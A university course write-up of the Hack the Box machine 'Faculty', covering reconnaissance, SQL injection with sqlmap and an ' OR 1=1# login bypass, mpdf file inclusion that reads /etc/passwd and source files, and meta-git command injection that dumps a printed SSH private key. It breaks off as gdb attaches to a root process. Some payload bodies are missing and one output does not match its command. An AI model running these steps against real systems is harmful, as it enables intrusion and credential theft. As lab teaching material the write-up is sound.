Faculty Writeup Felicitas Pojtinger (fp036) 2022-10-12 - 1 Disclaimer - 2 Preface and Personal Statement - 3 Skills Required - 4 Conspectus - 5 Information Gathering - 6 Exploitation - 7 User Flag - 8 Root Flag [Hack the Box Logo] - Author: Felicitas Pojtinger (fp036) - Dificulty: Medium - Target: 10.10.11.169 - Proof of pwn: https://www.hackthebox.com/achievement/machine/370951/480 Disclaimer I hereby confirm that I did not have any kind of assistance during the actual penetration test of the machine, nor with writing this writeup. All methods used are explained, all used resources are linked and ways of success and failure are described. This report was created as submission for HdM Stuttgart’s “IT Security: Attack and Defense” course. Sharing or publishing this writeup without written approval is prohibited. There may be other ways to escalate this box and some ways may be patched now as they might not have been intentionally kept open by the box’s authors. IPs and other metadata on screenshots and within the quoted and attached notes might differ, due to taking additional screenshots after the initial hacking. Contact: fp036@hdm-stuttgart.de Preface and Personal Statement Faculty is a Linux-based machine created by HTB user gbyolo. It was originally published on July 2nd, 2022 and is rated at medium dificulty. The machine is CTF-like. This is mostly due to it running a fully custom, purpose-built software and it using some arcane tools to provide hints, such as the UNIX mail system. The custom software is written in PHP, which I used for projects at my job and has been used in quite a few machines we’ve worked on in the CTF team, which was nice to see. The user flag was pwned within roughly 4 days; this could have been done much more quickly, but lots of dead ends that seemed promising at first glance led to lots of time being wasted while trying to crack hashes. The root flag however was almost trivial to achieve and I managed to get it in under an hour, mostly because quite a lot of embedded Linux experience from my day job was applicable. Faculty is the first machine that I pwned fully by myself; all other machines were done within the HdM CTF team or with friends. The medium ranking felt appropriate, although the multiple dead ends were quite demotivating. Skills Required In order to pwn the user flag, knowledge of Linux, a surface-level understanding of PHP, SQL injection and file inclusion is required. Once a shell has been acquired, remote code execution and the GNU Debugger help escalate to the root flag. Conspectus Faculty exposes a custom PHP faculty scheduling system served by a Nginx webserver running on Ubuntu. Through fuzzing with ffuf we can find an admin area, which is vulnerable to SQL injection. Using sqlmap, the login form can be bypassed, after which access to a faculty list is granted. This list and others can be downloaded as a PDF; the used generator is an old version of mpdf, which has a file injection vulnerability. Using this vulnerability, we can fetch arbitray files from the server’s filesystem. By causing the server to display a stack trace, we can get the app’s source code directory, from which we first fetch the database connection file. It contains a hardcoded password and username, which are also both being used as the SSH credentials. Once SSH access is granted as user gbyolo, we can exploit a remote code execution vulnerability in the installed NPM package meta-git to escalate to user developer by downloading the relevant SSH private key and logging in over SSH again, which allows us to get the user flag. In order to get the root flag, we use a preinstalled version of gdb to attach to a process running as root with debug symbols enabled, and set the SUID bits of bash; this allows us to run bash as root and thus get the root flag. Information Gathering First, I used nmap to get the services which are running on the machine: $ nmap -v -p- 10.10.11.169 Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-12 14:39 CEST Initiating Ping Scan at 14:39 Scanning 10.10.11.169 [2 ports] Completed Ping Scan at 14:39, 0.03s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:39 Completed Parallel DNS resolution of 1 host. at 14:39, 0.02s elapsed Initiating Connect Scan at 14:39 Scanning 10.10.11.169 [65535 ports] Discovered open port 80/tcp on 10.10.11.169 Discovered open port 22/tcp on 10.10.11.169 Both port 80 (HTTP) and 22 (SSH) are open. To access the services, I added the hostname to /etc/hosts: # /etc/hosts faculty.htb 10.10.11.169 After this, I used ffuf to fuzz the machine: $ ffuf -w ~/Downloads/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://10.10.11.169/ -H 'Host: FUZZ.faculty.htb' -fs 0,154 # No results $ ffuf -w ~/Downloads/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://faculty.htb/FUZZ -fs 12193 admin The /admin endpoint is interesting; it looks like this: [Admin login] Next, I used sqlmap on the login page’s API to search for SQL injection vulnerabilities: $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --data="id_no=asdf" --method POST --dbs --batch -time-sec=1 # ... web server operating system: Linux Ubuntu web application technology: Nginx 1.18.0, PHP back-end DBMS: MySQL >= 5.0.12 available databases [2]: [*] information_schema [*] scheduling_db # ... In order to find out more about the structure of the application, I used sqlmap to first enumerate the columns and then dump the users. $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --data="id_no=asdf" --method POST --dbs --batch -time-sec=1 --columns --threads 10 # ... [15:20:52] [INFO] resumed: class_schedule_info [15:20:52] [INFO] resumed: courses [15:20:52] [INFO] resumed: faculty [15:20:52] [INFO] resumed: schedules [15:20:52] [INFO] resumed: subjects [15:20:52] [INFO] resumed: users [15:20:52] [INFO] fetching columns for table 'schedules' in database 'scheduling_db' [15:20:52] [INFO] resumed: 12 [15:20:52] [INFO] resuming partial value: date [15:20:52] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done) [15:20:53] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions _created [15:21:19] [INFO] retrieved: datetime [15:21:44] [INFO] retrieved: description $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --data="id_no=asdf" --method POST --dbs --batch -time-sec=1 --dump -T users -D scheduling_db -C name,password # ... [15:34:31] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done) Administrator [15:35:15] [INFO] retrieved: 1fecbe762af147c1176a0 15:37:12] [WARNING] no clear password(s) found Database: scheduling_db Table: users [1 entry] +---------------+----------------------------------+ | name | password | +---------------+----------------------------------+ | Administrator | 1fecbe762af147c1176a0fc2c722a345 | +---------------+----------------------------------+ Here an Administrator user as well the corresponding password hash could be found. This hash however did not seem to be easily crackable, even with large password lists: $ echo '1fecbe762af147c1176a0fc2c722a345' | tee /tmp/hash $ hashcat -m 0 -a 0 /tmp/hash ~/Downloads/rockyou.txt # Approaching final keyspace - workload adjusted. $ john --wordlist ~/Downloads/rockyou.txt /tmp/hash g 0:00:00:00 DONE (2022-10-12 15:47) 0g/s 19677p/s 19677c/s 7923MC/s 123456..sss Session completed $ curl -Lo https://download.weakpass.com/wordlists/1927/cyclone.hashesorg.hashkiller.combined.txt.7z # Extract the .7z with the Nautilus first $ hashcat -w 4 -a 0 /tmp/hash ~/Downloads/cyclone.hashesorg.hashkiller.combined.txt By continuing to dump the database and I was also able to find faculty ID numbers, which we can use to login to the non-admin area: [Faculty login] $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --data="id_no=asdf" --method POST --dbs --batch -time-sec=1 --dump -T faculty -D scheduling_db # ... [18:57:01] [INFO] retrieved: firstname [18:57:36] [INFO] retrieved: gender [18:58:00] [INFO] retrieved: id [18:58:08] [INFO] retrieved: id_no # ... $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=login_faculty' --data="id_no=asdf" --method POST --dbs --batch -time-sec=1 --dump -T faculty -D scheduling_db -C id_no # ... Database: scheduling_db Table: faculty [3 entries] +----------+ | id_no | +----------+ | 30903070 | | 63033226 | | 85662050 | +----------+ Looking at the network inspector we find a RPC endpoint that is being called from this frontend. Running SQLMap on it showed another SQL injection vulnerability, which we use to get all of the tables (its UNION instead of time-based like before, which makes this much faster). The page looked like this and the endpoint is used to fetch the schedules (notice the typo in the URL!): [Faculty scheduling] $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=get_schecdule' --data="faculty_id=3" --method POST --dbs --batch -time-sec=1 --column # ... Database: scheduling_db Table: courses [3 columns] +-------------+--------------+ | Column | Type | +-------------+--------------+ | course | varchar(200) | | description | text | | id | int | +-------------+--------------+ Database: scheduling_db Table: users [5 columns] +----------+--------------+ | Column | Type | +----------+--------------+ | id | int | | name | text | | password | text | | type | tinyint(1) | | username | varchar(200) | +----------+--------------+ Database: scheduling_db Table: class_schedule_info [4 columns] +-------------+------+ | Column | Type | +-------------+------+ | course_id | int | | id | int | | schedule_id | int | | subject | int | +-------------+------+ Database: scheduling_db Table: faculty [9 columns] +------------+--------------+ | Column | Type | +------------+--------------+ | address | text | | contact | varchar(100) | | email | varchar(200) | | firstname | varchar(100) | | gender | varchar(100) | | id | int | | id_no | varchar(100) | | lastname | varchar(100) | | middlename | varchar(100) | +------------+--------------+ Database: scheduling_db Table: subjects [3 columns] +-------------+--------------+ | Column | Type | +-------------+--------------+ | description | text | | id | int | | subject | varchar(200) | +-------------+--------------+ Database: scheduling_db Table: schedules [12 columns] +----------------+--------------+ | Column | Type | +----------------+--------------+ | date_created | datetime | | description | text | | faculty_id | int | | id | int | | is_repeating | tinyint(1) | | location | text | | repeating_data | text | | schedule_date | date | | schedule_type | tinyint(1) | | time_from | time | | time_to | time | | title | varchar(200) | +----------------+--------------+ # ... Sadly, I wasn’t able to use this path to escalate further either; we don’t have the necessary permissions to get files using SQL: $ sqlmap -u 'http://faculty.htb/admin/ajax.php?action=get_schecdule' --data="faculty_id=3" --method POST --dbs --batch -time-sec=1 --privileges # ... privilege: USAGE So I finally took one more look at the fuzzer from above, which gave us /admin. Exploitation For the actual exploitation, I used a SQL injection vulnerability on http://faculty.htb/admin with the username (or password) ' OR 1=1#, which evaluates the expression to always be true. [Faculty PDF generator] Here I found an endpoint that generates PDFs. Looking at the inspector we first base64 decode and then URL decode (twice), which yields us the input: Plain HTML!: [Faculty PDF content] $ function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; } $ urldecode $(urldecode $(echo ${PARAM_FROM_POST_REQUEST} | base64 -d)) This yielded the following result:

faculty.htb

Faculties

ID Name Email Contact
{{7*7}} {{7*7}}, {{7*7}} {{7*7}} {{7*7}} {{7*7}}
1 {{7*7}}, {{7*7}} {{7*7}} {{7*7}} {{7*7}}
85662050 Blake, Claire G cblake@faculty.htb (763) 450-0121
30903070 James, Eric P ejames@faculty.htb (702) 368-3689
12345678 TEST, TEST TEST TEST TEST
I was able to POST to this endpoint using cURL: $ curl 'http://faculty.htb/admin/download.php' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H 'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw 'pdf=JTI1M0NoMSUyNTNFJTI1M0NhJTJCbmFtZSUyNTNEJTI1MjJ0b3AlMjUyMiUyNTNFJTI1M0MlMjUyRmElMjUzRWZhY3VsdHkuaHRiJTI1M0MlMjUyRmgxJTI1M0UlMjUzQ2gyJTI1M0VGYWN1bHRpZXMlMjUzQyUyNTJGaDIlMjUzRSUyNTNDdGFibGUlMjUzRSUyNTA5JTI1M0N0aGVhZCUyNTNFJTI1MDklMjUwOSUyNTNDdHIlMjUzRSUyNTA5JTI1MDklMjUwOSUyNTNDdGglMkJjbGFzcyUyNTNEJTI1MjJ0ZXh0LWNlbnRlciUyNTIyJTI1M0VJRCUyNTNDJTI1MkZ0aCUyNTNFJTI1MDklMjUwOSUyNTA5JTI1M0N0aCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRU5hbWUlMjUzQyUyNTJGdGglMjUzRSUyNTA5JTI1MDklMjUwOSUyNTNDdGglMkJjbGFzcyUyNTNEJTI1MjJ0ZXh0LWNlbnRlciUyNTIyJTI1M0VFbWFpbCUyNTNDJTI1MkZ0aCUyNTNFJTI1MDklMjUwOSUyNTA5JTI1M0N0aCUyQmNsYXNzJTI1M0QlMjUyMnRleHQtY2VudGVyJTI1MjIlMjUzRUNvbnRhY3QlMjUzQyUyNTJGdGglMjUzRSUyNTNDJTI1MkZ0ciUyNTNFJTI1M0MlMjUyRnRoZWFkJTI1M0UlMjUzQ3Rib2R5JTI1M0UlMjUzQyUyNTJGdGJvYnklMjUzRSUyNTNDJTI1MkZ0YWJsZSUyNTNF' --compressed -L -vvv For example, to get a PDF with “Hello, world!” in it: $ cat < /tmp/body

Hello, world!

EOT $ export ID=$(curl 'http://faculty.htb/admin/download.php' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H 'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw pdf=$(cat /tmp/body)) This returns the ID, so we can the full path like so (the mpdf/tmp/ path can be found when downloading it from the browser): $ xdg-open "http://faculty.htb/mpdf/tmp/${ID}" This returns a PDF with the text “Hello, world!”. MPDF has a file inclusion exploit (https://www.exploit-db.com/exploits/50995), so I was able to inject /etc/passwd into the generated PDF: $ cat < /tmp/body EOT $ export ID=$(curl 'http://faculty.htb/admin/download.php' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H 'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw pdf=$(cat /tmp/body)) $ xdg-open "http://faculty.htb/mpdf/tmp/${ID}" Opening the PDF in Atril shows the following attached file: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash postfix:x:113:119::/var/spool/postfix:/usr/sbin/nologin developer:x:1001:1002:,,,:/home/developer:/bin/bash usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin As we can see, gbyolo, developer and root are our next targets because they have interactive shells. I couldn’t find anything else that was suspicious directly, so I processed to try and fetch the application source code to the host: $ ffuf -w ~/Downloads/SecLists/Discovery/Web-Content/raft-large-directories.txt:FUZZ -u http://faculty.htb/FUZZ -fs 12193 # ... admin [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 22ms] mpdf [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 24ms] # ... The first guess fails: $ export FILE='/var/www/admin.php' $ cat < /tmp/body EOT $ export ID=$(curl 'http://faculty.htb/admin/download.php' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H 'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw pdf=$(cat /tmp/body)) $ xdg-open "http://faculty.htb/mpdf/tmp/${ID}" By ommiting parameters, I was able to display a stacktrace that helped finding the source code’s location: $ curl 'http://faculty.htb/admin/ajax.php?action=login' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H 'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/login.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw 'idonotexist=' --compressed --insecure
Notice: Undefined variable: username in /var/www/scheduling/admin/admin_class.php on line 21

Notice: Undefined variable: password in /var/www/scheduling/admin/admin_class.php on line 21
This made it possible to fetch the file: $ export FILE='/var/www/scheduling/admin/admin_class.php' $ cat < /tmp/body EOT $ export ID=$(curl 'http://faculty.htb/admin/download.php' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H 'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw pdf=$(cat /tmp/body)) $ xdg-open "http://faculty.htb/mpdf/tmp/${ID}" It returned in the attachment: db = $conn; } function __destruct() { $this->db->close(); ob_end_flush(); } # ... After this, I proceeded to look at the included db_connect.php file to search for DB credentials: export FILE='/var/www/scheduling/admin/db_connect.php' cat < /tmp/body EOT export ID=$(curl 'http://faculty.htb/admin/download.php' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.9,de;q=0.8' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Cookie: PHPSESSID=lbb7g4c7aqb8pjk8vo8g749ka3' -H 'Origin: http://faculty.htb' -H 'Referer: http://faculty.htb/admin/index.php?page=faculty' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36' -H 'X-Requested-With: XMLHttpRequest' --data-raw pdf=$(cat /tmp/body)) xdg-open "http://faculty.htb/mpdf/tmp/${ID}" This returned: X-Original-To: gbyolo@faculty.htb Delivered-To: gbyolo@faculty.htb Received: by faculty.htb (Postfix, from userid 1001) id 0399E26125A; Tue, 10 Nov 2020 15:03:02 +0100 (CET) Subject: Faculty group To: X-Mailer: mail (GNU Mailutils 3.7) Message-Id: <20201110140302.0399E26125A@faculty.htb> Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET) From: developer@faculty.htb X-IMAPbase: 1605016995 2 Status: O X-UID: 1 Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb Since groups were mentioned, I checked how sudo has been configured: $ sudo -l Matching Defaults entries for gbyolo on faculty: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User gbyolo may run the following commands on faculty: (developer) /usr/local/bin/meta-git I was able to run meta-git as developer. meta-git, has a RCE vulnerability (https://hackerone.com/reports/728040): $ sudo -u developer meta-git clone 'asdf; ls' meta git cloning into 'ls' at ls ls: fatal: repository 'ls' does not exist ls: command 'git clone ls ls' exited with error: Error: Command failed: git clone ls ls (node:63078) UnhandledPromiseRejectionWarning: Error: ENOENT: no such file or directory, chdir '/home/gbyolo/ls' at process.chdir (internal/process/main_thread_only.js:31:12) at exec (/usr/local/lib/node_modules/meta-git/bin/meta-git-clone:27:11) at execPromise.then.catch.errorMessage (/usr/local/lib/node_modules/meta-git/node_modules/meta-exec/index.js:104:22) at process._tickCallback (internal/process/next_tick.js:68:7) at Function.Module.runMain (internal/modules/cjs/loader.js:834:11) at startup (internal/bootstrap/node.js:283:19) at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3) (node:63078) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 2) (node:63078) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code. I was able to use this to read the SSH key: $ cd /tmp $ sudo -u developer meta-git clone 'sss||cat /home/developer/.ssh/id_rsa' meta git cloning into 'sss||cat /home/developer/.ssh/id_rsa' at id_rsa id_rsa: fatal: repository 'sss' does not exist -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY----- # ... I then proceeded to add this SSH key to my local VM: cat > ~/.ssh/id_rsa < /dev/null -rw-r--r-- 1 developer developer 220 Oct 24 2020 .bash_logout -rw-r--r-- 1 developer developer 3771 Oct 24 2020 .bashrc drwx------ 2 developer developer 4096 Jun 23 18:50 .cache drwx------ 3 developer developer 4096 Oct 13 09:52 .gnupg drwxrwxr-x 3 developer developer 4096 Jun 23 18:50 .local -rw-r--r-- 1 developer developer 807 Oct 24 2020 .profile drwxr-xr-x 2 developer developer 4096 Jun 23 18:50 .ssh -rw------- 1 developer developer 1375 Oct 13 09:53 .viminfo -rwxr-x--- 1 developer developer 8440200 Oct 13 11:36 gdb -rwxrwxr-x 1 developer developer 258 Nov 10 2020 sendmail.sh -rw-r----- 1 root developer 33 Oct 13 07:11 user.txt However this version gdb was owned by developer; /usr/bin/gdb was accessible to us however: $ ls -la /usr/bin/gdb -rwxr-x--- 1 root debug 8440200 Dec 8 2021 /usr/bin/gdb $ groups developer debug faculty In the next step, I tried to take over one of the processes running as root and execute something: $ ps -U root -u root u # ... root 930 0.0 0.0 2608 536 ? Ss 07:10 0:00 /bin/sh -c bash /root/service_check.sh root 931 0.0 0.1 5648 3040 ? S 07:10 0:03 bash /root/service_check.sh root 943 0.0 0.3 12172 7264 ? Ss 07:10 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 960 0.0 0.0 2860 1656 tty1 Ss+ 07:10 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux root 1572 0.0 0.2 38072 4628 ? Ss 07:11 0:00 /usr/lib/postfix/sbin/master -w root 60137 0.0 0.4 13952 9060 ? Ss 19:27 0:00 sshd: gbyolo [priv] root 61755 0.0 0.0 0 0 ? I 20:09 0:01 [kworker/1:1-events] root 62500 0.0 0.4 13948 9044 ? Ss 20:33 0:00 sshd: gbyolo [priv] root 62906 0.0 0.0 0 0 ? I 20:38 0:00 [kworker/u256:2-events_unbound] root 62911 0.0 0.0 0 0 ? I 20:39 0:00 [kworker/1:2-events] root 62974 0.0 0.0 0 0 ? I 20:39 0:00 [kworker/0:2-cgroup_destroy] root 62977 0.0 0.0 0 0 ? I 20:39 0:00 [kworker/0:3-events] root 63677 0.0 0.0 0 0 ? I 20:50 0:00 [kworker/u256:1-events_unbound] root 64013 0.0 0.0 0 0 ? I 20:54 0:00 [kworker/0:0-events] root 64014 0.0 0.0 0 0 ? I 20:54 0:00 [kworker/1:0-events] root 64031 0.0 0.4 13792 8984 ? Ss 20:54 0:00 sshd: developer [priv] root 64307 0.0 0.0 4260 516 ? S 20:58 0:00 sleep 20 I chose Postfix: $ gdb -p 1572 GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2 Copyright (C) 2020 Free Software Foundation, Inc. License 